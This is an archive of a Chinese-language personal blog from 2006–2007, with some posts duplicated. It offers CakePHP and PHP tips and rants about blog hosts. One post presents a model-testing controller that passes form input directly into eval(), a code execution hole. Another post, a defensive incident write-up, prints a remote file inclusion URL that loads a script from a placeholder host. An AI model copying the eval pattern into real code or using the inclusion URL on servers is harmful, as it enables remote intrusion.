2007年05月2日
2006年12月24日
AntiVir 的 msn 檔案傳輸掃毒設定..
找了半天才找到該怎麼設定...
提供給需要的朋友...
...繼續閱讀
提供給需要的朋友...
"C:\Program Files\AntiVir PersonalEdition Classic\avscan.exe" /GUIMODE=2 /PATH=
...繼續閱讀
2006年11月29日
天空強姦網址還不夠,還要盜用樂多圖片流量?
話說昨天半夜天空部落已經上線了。
但是好像有點急急忙忙上線,所以來不及把檔案資料庫放好~
所以現在要是到 天空部落 任何一個從 樂多日誌 轉移的,就會發現,他們把圖片連結連到 blog.roodo.com ....
真是厚顏無恥的極致ㄚ!!!
強姦網址還不夠,還要盜用圖片跟流量!
天空部落 你們真是令人不恥~
...繼續閱讀
2006年11月28日
果然,Web-tv 學『有名』有夠像
之前說他們難道要學『有名大站』對待使用者的方法嗎?
沒想到一語成讖,昨天就馬上來個『先斬後奏』的把 養樂多 的網址 blog.yam.com給他搶回去了。
而且還真會選時間,挑了個正要下班的時間,難道是打算打個人家措手不及?
Webs-tv 你們的吃相真是有夠難看的呢~
...繼續閱讀
沒想到一語成讖,昨天就馬上來個『先斬後奏』的把 養樂多 的網址 blog.yam.com給他搶回去了。
而且還真會選時間,挑了個正要下班的時間,難道是打算打個人家措手不及?
Webs-tv 你們的吃相真是有夠難看的呢~
...繼續閱讀
2006年11月9日
終於登入了....
這是一定要念一下....
自己的 domain 不小心一時無法使用了,結果現在 yam + webs-tv 又來惡搞,是怎樣。
想學 有名 拿使用者當測試?
還是想學 有名 不公告就亂改程式?
我知道你們很想搶走 有名 的會員,但是不用連這些爛方法也跟著學吧。
...繼續閱讀
自己的 domain 不小心一時無法使用了,結果現在 yam + webs-tv 又來惡搞,是怎樣。
想學 有名 拿使用者當測試?
還是想學 有名 不公告就亂改程式?
我知道你們很想搶走 有名 的會員,但是不用連這些爛方法也跟著學吧。
...繼續閱讀
2006年11月6日
善用__FILE__讓inlucde的libs更靈活..
一般來說,我們在架構一個網站的時候都會希望把 lib 固定在一個目錄之下,而通常為了分類,會規劃更多的目錄在這個目錄中。
通常來說結構會類似這樣...
這時候問題來了,若是我們在 libs 裡面的 檔案需要 require or include 另外的 libs 檔案的話,通常會需要直接給他絕對位置。
但是給絕對位置的話會由於網站可能在不同主機上得目錄不同需要修改。
這時候我會建議兩種作法。
第一種:建立一個 config.inc.php ,內含一個 Document_root 的常數設定,而設定的位置就是 網站的跟目錄的絕對位置。
這時候你只要在各個 include 的時候,使用
缺點就是每次若是 config.inc.php 中的設定跟實際環境不同的時候會有問題.
第二種的方式就是用系統常數 __FILE__
__FILE__的常數會自動產生,內容是目前檔案的絕對路徑。若是被 Include 的檔案會產生的是位置,而不是 include 檔案的位置。
這樣我就可以這樣用,例如在 init.php 一律都是放在 libs 目錄下,而由其他任何一個檔案去 require ...
當然,你也可以直接把 __FILE__ 用在 config.inc.php 中.
...繼續閱讀
通常來說結構會類似這樣...
| 代碼: |
| /libs
/adodb /adodb.inc.php /smarty /libs /member /init.php /template.php /modules /members /post |
這時候問題來了,若是我們在 libs 裡面的 檔案需要 require or include 另外的 libs 檔案的話,通常會需要直接給他絕對位置。
但是給絕對位置的話會由於網站可能在不同主機上得目錄不同需要修改。
這時候我會建議兩種作法。
第一種:建立一個 config.inc.php ,內含一個 Document_root 的常數設定,而設定的位置就是 網站的跟目錄的絕對位置。
這時候你只要在各個 include 的時候,使用
| 代碼: |
| include_once(Document_root."libs/init.php");
require_once(Document_root."libs/smarty/ilbs/smarty.inc.php"); |
缺點就是每次若是 config.inc.php 中的設定跟實際環境不同的時候會有問題.
第二種的方式就是用系統常數 __FILE__
__FILE__的常數會自動產生,內容是目前檔案的絕對路徑。若是被 Include 的檔案會產生的是位置,而不是 include 檔案的位置。
這樣我就可以這樣用,例如在 init.php 一律都是放在 libs 目錄下,而由其他任何一個檔案去 require ...
| 代碼: |
| include_onre(dirname(__FILE__)."smarty/libs/class.smarty.php");
include_onre(dirname(__FILE__)."adodb/adodb.inc.php"); |
當然,你也可以直接把 __FILE__ 用在 config.inc.php 中.
| 代碼: |
| define('Document_root',dirname(__FILE__)); |
2006年10月23日
Model 練習與測試工具.
平常都要自己查一下Model 的回傳等等,常常會覺得挺麻煩的。
下面是自己寫的一個小工具,直接在畫面上填入要測試Model,然後輸入要 Run 的 Command ...
就可以了。
(目前無法做 save 的相關動作。)
Controller
程式碼:
<?php
class DemoController extends AppController
{
//var $scaffold;
var $name = 'Demo';
var $uses = array();
var $helpers = array('Html', 'Form' );
function index(){
if(!empty($this->data)){
$command_str = '$model = new '.$this->data['Test']['model'].";\n";
$command_str .= '$result = $model->'.$this->data['Test']['Command'].';';
eval($command_str);
$this->set('command_str',$command_str);
$this->set('result',$result);
}
}
}
?>
View:
程式碼:
<form action="<?=$html->url('/demo/')?>" method="post">
<label>Model Name</label>
<?=$html->input('Test/model',array('size'=> '40'))?>
<label>Function</label>
<?=$html->input('Test/Command',array('size'=> '40'))?>
<?=$html->submit();?>
</form>
<h1>Code</h1>
<?
if(isset($command_str)){
highlight_string($command_str);
}
?>
<h1>Result</h1>
<?
if(isset($result)){
pr($result);
}
?>
...繼續閱讀
下面是自己寫的一個小工具,直接在畫面上填入要測試Model,然後輸入要 Run 的 Command ...
就可以了。
(目前無法做 save 的相關動作。)
Controller
程式碼:
<?php
class DemoController extends AppController
{
//var $scaffold;
var $name = 'Demo';
var $uses = array();
var $helpers = array('Html', 'Form' );
function index(){
if(!empty($this->data)){
$command_str = '$model = new '.$this->data['Test']['model'].";\n";
$command_str .= '$result = $model->'.$this->data['Test']['Command'].';';
eval($command_str);
$this->set('command_str',$command_str);
$this->set('result',$result);
}
}
}
?>
View:
程式碼:
<form action="<?=$html->url('/demo/')?>" method="post">
<label>Model Name</label>
<?=$html->input('Test/model',array('size'=> '40'))?>
<label>Function</label>
<?=$html->input('Test/Command',array('size'=> '40'))?>
<?=$html->submit();?>
</form>
<h1>Code</h1>
<?
if(isset($command_str)){
highlight_string($command_str);
}
?>
<h1>Result</h1>
<?
if(isset($result)){
pr($result);
}
?>
...繼續閱讀
2006年07月29日
在 Element 中使用 model
在做網站的時候常常會用到重複使用的區塊。
這個時候我們會用到 view 的 element 來做這類的東西,像是選單拉,一些廣告區拉等等。
但是若在 Element 中想要用Model去取得資料庫中的資料(例如製作動態選單)該怎麼做呢?
事實上作法很簡單。
例如我要呼叫Post這個Model,只要 就好了,這樣你就可以直接在這個 Element 中使用這個 Post model 。
這個時候我們會用到 view 的 element 來做這類的東西,像是選單拉,一些廣告區拉等等。
但是若在 Element 中想要用Model去取得資料庫中的資料(例如製作動態選單)該怎麼做呢?
事實上作法很簡單。
例如我要呼叫Post這個Model,只要 就好了,這樣你就可以直接在這個 Element 中使用這個 Post model 。
2006年07月24日
利用 hasAny 找出有沒有重複值
請參考http://wiki.cakephp.org/tutorials:duplicate_record_validation?s=hasany
你可以在 model 中加入類似這樣的自訂 function (範例為帳號名稱檢查)
class User extends AppModel
{
function isUnique($userName)
{
$userNames['User.username'] = $userName;
if ($this->hasAny($userNames))
{
$this->invalidate('userNameExists');
return false;
}
else
{
return true;
}
}
}
而 view 中則加入這個errorTag
$html->tagErrorMsg('User/userNameExists', '帳號已經註冊過囉,請重新選額一個帳號.')
你可以在 model 中加入類似這樣的自訂 function (範例為帳號名稱檢查)
class User extends AppModel
{
function isUnique($userName)
{
$userNames['User.username'] = $userName;
if ($this->hasAny($userNames))
{
$this->invalidate('userNameExists');
return false;
}
else
{
return true;
}
}
}
而 view 中則加入這個errorTag
$html->tagErrorMsg('User/userNameExists', '帳號已經註冊過囉,請重新選額一個帳號.')
CakePHP 進階資料檢驗..
一般來說 CakePHP 中,在 model->save() 的時候,會自動根據$model->validate 的陣列進行檢查,若是沒通過則不會 Save 會丟回來一個 false 。
但是我們若是只想要檢查而沒有要存檔呢?
又或者我們自訂 errorTag 要怎麼顯示呢?
第一個問題可以從 Model 的 function 中找到解答
你可以用 $model->validates($data_array) 進行檢查。
而檢查完成後也是從 $controller->validateErrors($this->Model) 來assign 指定的 model 的錯誤檢查錯誤訊息回報。
另外若是有特殊的 errorTag 則可以用 $model->invalidate('tag_name') 來指定顯示...下面是一個檢查使用者帳號重複後的指定範例。
if ($this->find("username = '".$data['Member']['username']."'")) {
$this->invalidate('username_inuse');
return false;
}
2006年07月20日
in Big5 Link 變成亂碼
因為我目前都是直接 svn Cakephp 來使用的。
在昨天更新後,解決了 data 的欄位無法正確帶入值得問題,但是卻發生了原來正常的Link變成了亂碼∼
因為那些Link都是用 $html->link(); 去產生的,所以立刻就懷疑 cakephp 的 helper 有做了修改。
在 /cake/libs/view/helpers/html.php 中大約第 160 行的地方可以看到.....
function link($title, $url = null, $htmlAttributes = null, $confirmMessage = false, $escapeTitle = true, $return = false)
接著我又去查了 svn log 看最近 html.php 有那些修改...
--- html.php (revision 33)
+++ html.php (local)
@@ -159,12 +159,12 @@
*/
function link($title, $url = null, $htmlAttributes = null, $confirmMessage = false, $escapeTitle = true, $return = false) {
if ($escapeTitle) {
- $title = htmlspecialchars($title, ENT_QUOTES);
+ $title = htmlentities($title, ENT_QUOTES);
}
$url = $url ? $url : $title;
if ($confirmMessage) {
- $confirmMessage = htmlspecialchars($confirmMessage, ENT_NOQUOTES);
+ $confirmMessage = htmlentities($confirmMessage, ENT_NOQUOTES);
$confirmMessage = str_replace("'", "'", $confirmMessage);
$confirmMessage = str_replace('"', '"', $confirmMessage);
$htmlAttributes['onclick']="return confirm('{$confirmMessage}');";
真糟糕..他竟然把escapeTitle 從 htmlspecialchars 改成用 htmlentities ...
看樣子只有幾個方法解決..不是自己改回來...
或是替htmlentities 加入語系參數了...
補充: Big5 才會這樣子....
在昨天更新後,解決了 data 的欄位無法正確帶入值得問題,但是卻發生了原來正常的Link變成了亂碼∼
因為那些Link都是用 $html->link(); 去產生的,所以立刻就懷疑 cakephp 的 helper 有做了修改。
在 /cake/libs/view/helpers/html.php 中大約第 160 行的地方可以看到.....
function link($title, $url = null, $htmlAttributes = null, $confirmMessage = false, $escapeTitle = true, $return = false)
接著我又去查了 svn log 看最近 html.php 有那些修改...
--- html.php (revision 33)
+++ html.php (local)
@@ -159,12 +159,12 @@
*/
function link($title, $url = null, $htmlAttributes = null, $confirmMessage = false, $escapeTitle = true, $return = false) {
if ($escapeTitle) {
- $title = htmlspecialchars($title, ENT_QUOTES);
+ $title = htmlentities($title, ENT_QUOTES);
}
$url = $url ? $url : $title;
if ($confirmMessage) {
- $confirmMessage = htmlspecialchars($confirmMessage, ENT_NOQUOTES);
+ $confirmMessage = htmlentities($confirmMessage, ENT_NOQUOTES);
$confirmMessage = str_replace("'", "'", $confirmMessage);
$confirmMessage = str_replace('"', '"', $confirmMessage);
$htmlAttributes['onclick']="return confirm('{$confirmMessage}');";
真糟糕..他竟然把escapeTitle 從 htmlspecialchars 改成用 htmlentities ...
看樣子只有幾個方法解決..不是自己改回來...
或是替htmlentities 加入語系參數了...
補充: Big5 才會這樣子....
CakePHP 安裝方法重點
參考 http://manual.cakephp.org/chapter/3 的建議安裝方式..
安裝方式基本上有分下面幾種.
1. 一般安裝.
2. Production Setup
3. Advanced Setup: Alternative Installation Options
1. 只要將 cakephp 放在 DocumentRoot 即可.
2. 只要將 DocumentRoot 指到 cakephp_install_path/app/webroot/ 即可.
3. 最麻煩但是也最安全.
3.1 建立 /usr/local/lib/cake
3.2 將 cake_install_path/cake 複製到 /usr/local/lib/cake/
3.3 利用 bake.php 建立 project 例如放在 /home/me/cake_site/myproject
3.4 將 /home/me/cake_site/myproject/webroot/* 複製到 DocumentRoot
3.5 修改 DocumentRoot/index.php
代碼:
if (!defined('ROOT'))
{
define('ROOT', '/home/me/cake_site/');
}
if (!defined('APP_DIR'))
{
define ('APP_DIR', 'myproject');
}
if (!defined('CAKE_CORE_INCLUDE_PATH'))
{
define('CAKE_CORE_INCLUDE_PATH', '/usr/local/lib/cake/');
}
3.6 開啟瀏覽器檢視網頁.看是否可以正確執行你的cakephp囉.
安裝方式基本上有分下面幾種.
1. 一般安裝.
2. Production Setup
3. Advanced Setup: Alternative Installation Options
1. 只要將 cakephp 放在 DocumentRoot 即可.
2. 只要將 DocumentRoot 指到 cakephp_install_path/app/webroot/ 即可.
3. 最麻煩但是也最安全.
3.1 建立 /usr/local/lib/cake
3.2 將 cake_install_path/cake 複製到 /usr/local/lib/cake/
3.3 利用 bake.php 建立 project 例如放在 /home/me/cake_site/myproject
3.4 將 /home/me/cake_site/myproject/webroot/* 複製到 DocumentRoot
3.5 修改 DocumentRoot/index.php
代碼:
if (!defined('ROOT'))
{
define('ROOT', '/home/me/cake_site/');
}
if (!defined('APP_DIR'))
{
define ('APP_DIR', 'myproject');
}
if (!defined('CAKE_CORE_INCLUDE_PATH'))
{
define('CAKE_CORE_INCLUDE_PATH', '/usr/local/lib/cake/');
}
3.6 開啟瀏覽器檢視網頁.看是否可以正確執行你的cakephp囉.
CakePHP 的 admin 設定
新版的 Cakephp 的 core.php 中多了滿多東西。
其中有個
/**
* Uncomment the define below to use cake built in admin routes.
* You can set this value to anything you want.
* All methods related to the admin route should be prefixed with the
* name you set CAKE_ADMIN to.
* For example: admin_index, admin_edit
*/
// define('CAKE_ADMIN', 'admin');
只要設定了這個後,就可以使用 http://domain/admin/controller/action 去呼叫
controller 中的 admin_action 作為 管理用的 action .
其中有個
/**
* Uncomment the define below to use cake built in admin routes.
* You can set this value to anything you want.
* All methods related to the admin route should be prefixed with the
* name you set CAKE_ADMIN to.
* For example: admin_index, admin_edit
*/
// define('CAKE_ADMIN', 'admin');
只要設定了這個後,就可以使用 http://domain/admin/controller/action 去呼叫
controller 中的 admin_action 作為 管理用的 action .
使用Bake
bake.php 是 cakephp 中的一隻 command line script
用途是來快速建立 app, model, controller, view 樣版
bake.php 的位置在 /[cake_install_dir]/cake
/scripts/bake.php
執行方式 php cake/scripts/bake.php
當然你也可以 chmod 755 cake/scripts/bake.php
這樣以後就直接 cake/scripts/bake.php
我個人是比較懶, 所以多設了個
alias bake=[path_to_cakephp_install]/cake/scripts/bake.php
這樣以後就 bake 就好了
也可以參考 http://cakephp.org/pages/screencasts 的
Building the Bakery: Part 1
1. 建立 project 基本環境
bake -project 目錄絕對位置
若是初期開發,可以直接這樣
bake -project /[path_to_cakephp_install]/myprj
接下來 bake 會跑一下..然後你就會在
/[path_to_cakephp_install]/ 看到 myprj 目錄, 裏面有預先建立的環境
接下來的指令都要用
bake -app myprj (他會自動去找/[path_to_cakephp_install]/myprj/)
2. 設定資料庫
第一次跑 bake -app myprj 的時候,bake 會提示你他無法找到資料庫.
所以會請你設定資料庫,預設是使用 MySQL .
依照對話設定 mysql 的 username, password, database name
確認後就會自動存檔.
3. 建立 model
完成後就會進入3個選擇 分別是 1 models, 2 controllers, 3 views
先選擇 1, models
bake 會自動連上資料庫取得資料庫目前的資料表,並且列表出來供選擇.
選擇了你要建立的 model 後就是一連串的問答。
當中會包括, 欄位資料檢查方式, 資料關聯檢查(基本上會自動偵測,
但是也會有出槌找錯或是找不到的情況)
最後確認建立就可以了.
4. 建立 controller
再次執行 bake -app myprj
選擇 建立 controller
他會請你輸入 Controller 名稱.
接下來也是一堆的問達.
比較重要的在於他會問你要不要幫你建立基本的
index, view, edit, add, delete
一般來說我都是選 yes, 然後之後再手動改 controller
5. 建立 view
這部份就很簡單,
他只會問你兩個問題...
第二個是問你要不要建立 index.thtml, view,thtml, add,thtml, view.thtml
就給他選 yes 吧...
備註: 建立 model, controller, view 的時候最後都會問你要不要建立 test 環境
不過由於我沒用 test 環境,所以都直接選 no .
用途是來快速建立 app, model, controller, view 樣版
bake.php 的位置在 /[cake_install_dir]/cake
/scripts/bake.php
執行方式 php cake/scripts/bake.php
當然你也可以 chmod 755 cake/scripts/bake.php
這樣以後就直接 cake/scripts/bake.php
我個人是比較懶, 所以多設了個
alias bake=[path_to_cakephp_install]/cake/scripts/bake.php
這樣以後就 bake 就好了
也可以參考 http://cakephp.org/pages/screencasts 的
Building the Bakery: Part 1
1. 建立 project 基本環境
bake -project 目錄絕對位置
若是初期開發,可以直接這樣
bake -project /[path_to_cakephp_install]/myprj
接下來 bake 會跑一下..然後你就會在
/[path_to_cakephp_install]/ 看到 myprj 目錄, 裏面有預先建立的環境
接下來的指令都要用
bake -app myprj (他會自動去找/[path_to_cakephp_install]/myprj/)
2. 設定資料庫
第一次跑 bake -app myprj 的時候,bake 會提示你他無法找到資料庫.
所以會請你設定資料庫,預設是使用 MySQL .
依照對話設定 mysql 的 username, password, database name
確認後就會自動存檔.
3. 建立 model
完成後就會進入3個選擇 分別是 1 models, 2 controllers, 3 views
先選擇 1, models
bake 會自動連上資料庫取得資料庫目前的資料表,並且列表出來供選擇.
選擇了你要建立的 model 後就是一連串的問答。
當中會包括, 欄位資料檢查方式, 資料關聯檢查(基本上會自動偵測,
但是也會有出槌找錯或是找不到的情況)
最後確認建立就可以了.
4. 建立 controller
再次執行 bake -app myprj
選擇 建立 controller
他會請你輸入 Controller 名稱.
接下來也是一堆的問達.
比較重要的在於他會問你要不要幫你建立基本的
index, view, edit, add, delete
一般來說我都是選 yes, 然後之後再手動改 controller
5. 建立 view
這部份就很簡單,
他只會問你兩個問題...
第二個是問你要不要建立 index.thtml, view,thtml, add,thtml, view.thtml
就給他選 yes 吧...
備註: 建立 model, controller, view 的時候最後都會問你要不要建立 test 環境
不過由於我沒用 test 環境,所以都直接選 no .
CakePHP 命名規則
資料表:
表格名稱 英文小寫,用復數表示,以底線分格單字 (posts,forums,tags)
第一個欄位 命名需為 id, 數值, 自動編號, Primary Key (id)
與其他表格對應的 key 以 modelname_id, 數值, Index Key (forum_id)
多對多對應關係 (hasAndBelongsToMeny) 中間資料表以 posts_tags 命名
一樣要設定 primary key (id)
內部索引值命名法同上.(post_id,tag_id)
Model: (/CakeAppDir/models/)
檔名 英文小寫,以資料表名稱(單數型)命名 (post.php,forum.php,tag.php)
Model名稱以資料表名稱(單數型)命名,英文單字字首大寫 (Post,Forum,Tag)
Model 注意像是 post_forums 的表格名稱 則以 PostForum 命名 Model
也就是去掉底線,單字字首大寫
Controller: (/CakeAppDir/controlls/)
檔名:
直接對應 Model : Model名稱加上s加上 _controller.php
(posts_controller.php)
一般的話
"Controller 名稱"加上 _controller.php (home_controller.php)
物件命名: 名稱(英文字首大寫)+Controller (PostsController)
View: (/CakeAppDir/views/)
若無指定 View 則 Controller 會自動找 Action 同名的 .thtml
/CakeAppDir/views/[controller
_name]/[action_name].thtml
Layout: (/CakeAppDir/view/layouts/)
若 controller 未指定,則使用 default.thtml 為預設 layout
flash.thtml 則為 controller 呼叫 flash 方法的時候的預設 layout
表格名稱 英文小寫,用復數表示,以底線分格單字 (posts,forums,tags)
第一個欄位 命名需為 id, 數值, 自動編號, Primary Key (id)
與其他表格對應的 key 以 modelname_id, 數值, Index Key (forum_id)
多對多對應關係 (hasAndBelongsToMeny) 中間資料表以 posts_tags 命名
一樣要設定 primary key (id)
內部索引值命名法同上.(post_id,tag_id)
Model: (/CakeAppDir/models/)
檔名 英文小寫,以資料表名稱(單數型)命名 (post.php,forum.php,tag.php)
Model名稱以資料表名稱(單數型)命名,英文單字字首大寫 (Post,Forum,Tag)
Model 注意像是 post_forums 的表格名稱 則以 PostForum 命名 Model
也就是去掉底線,單字字首大寫
Controller: (/CakeAppDir/controlls/)
檔名:
直接對應 Model : Model名稱加上s加上 _controller.php
(posts_controller.php)
一般的話
"Controller 名稱"加上 _controller.php (home_controller.php)
物件命名: 名稱(英文字首大寫)+Controller (PostsController)
View: (/CakeAppDir/views/)
若無指定 View 則 Controller 會自動找 Action 同名的 .thtml
/CakeAppDir/views/[controller
_name]/[action_name].thtml
Layout: (/CakeAppDir/view/layouts/)
若 controller 未指定,則使用 default.thtml 為預設 layout
flash.thtml 則為 controller 呼叫 flash 方法的時候的預設 layout
2006年02月20日
Register_global 的危險!
前兩天由於自己家中的主機怪怪得,所以做了一些檢查,赫然發現一堆不知道從那出來的 Email 再寄送,當下嚇到怕變成 SPAM 的木馬!∼
詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係,導致被 spam 在 /tmp 下塞入了一個 script 自動發信!
該段語法如下 (xxxx.inc.php):
require_once $baseDir."include_once/adodb....";
主要就是在於沒有檢查 $baseDir 的位置與內容,且開啟了 register_global 的關係,所以可以直接採用:
http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。
原來 include_base 應該是給 /index.php 來 include 後使用的,而非給 client 存取的,所以讓使用者可以直接存取造成了安全上得隱憂。
另外 $baseDir 又容由另外一個檔案進行設定,所以 init_database.php 並沒有檢查該變數的內容。
基本上這種問題若是有關閉 register_global 就不會發生囉,不過由於原來的系統上有一些程式需求要 register_global = on 才能使用,所以才會這樣設定。
剛剛查過網路上,相類似的情況可以在預設 php.ini 為 register_global = off ,而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。
anyway,現在把東西重新調整過也把被偷發的垃圾信都刪掉了,希望以後不會再次發生這樣的問題了。
詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係,導致被 spam 在 /tmp 下塞入了一個 script 自動發信!
該段語法如下 (xxxx.inc.php):
require_once $baseDir."include_once/adodb....";
主要就是在於沒有檢查 $baseDir 的位置與內容,且開啟了 register_global 的關係,所以可以直接採用:
http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。
原來 include_base 應該是給 /index.php 來 include 後使用的,而非給 client 存取的,所以讓使用者可以直接存取造成了安全上得隱憂。
另外 $baseDir 又容由另外一個檔案進行設定,所以 init_database.php 並沒有檢查該變數的內容。
基本上這種問題若是有關閉 register_global 就不會發生囉,不過由於原來的系統上有一些程式需求要 register_global = on 才能使用,所以才會這樣設定。
剛剛查過網路上,相類似的情況可以在預設 php.ini 為 register_global = off ,而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。
anyway,現在把東西重新調整過也把被偷發的垃圾信都刪掉了,希望以後不會再次發生這樣的問題了。



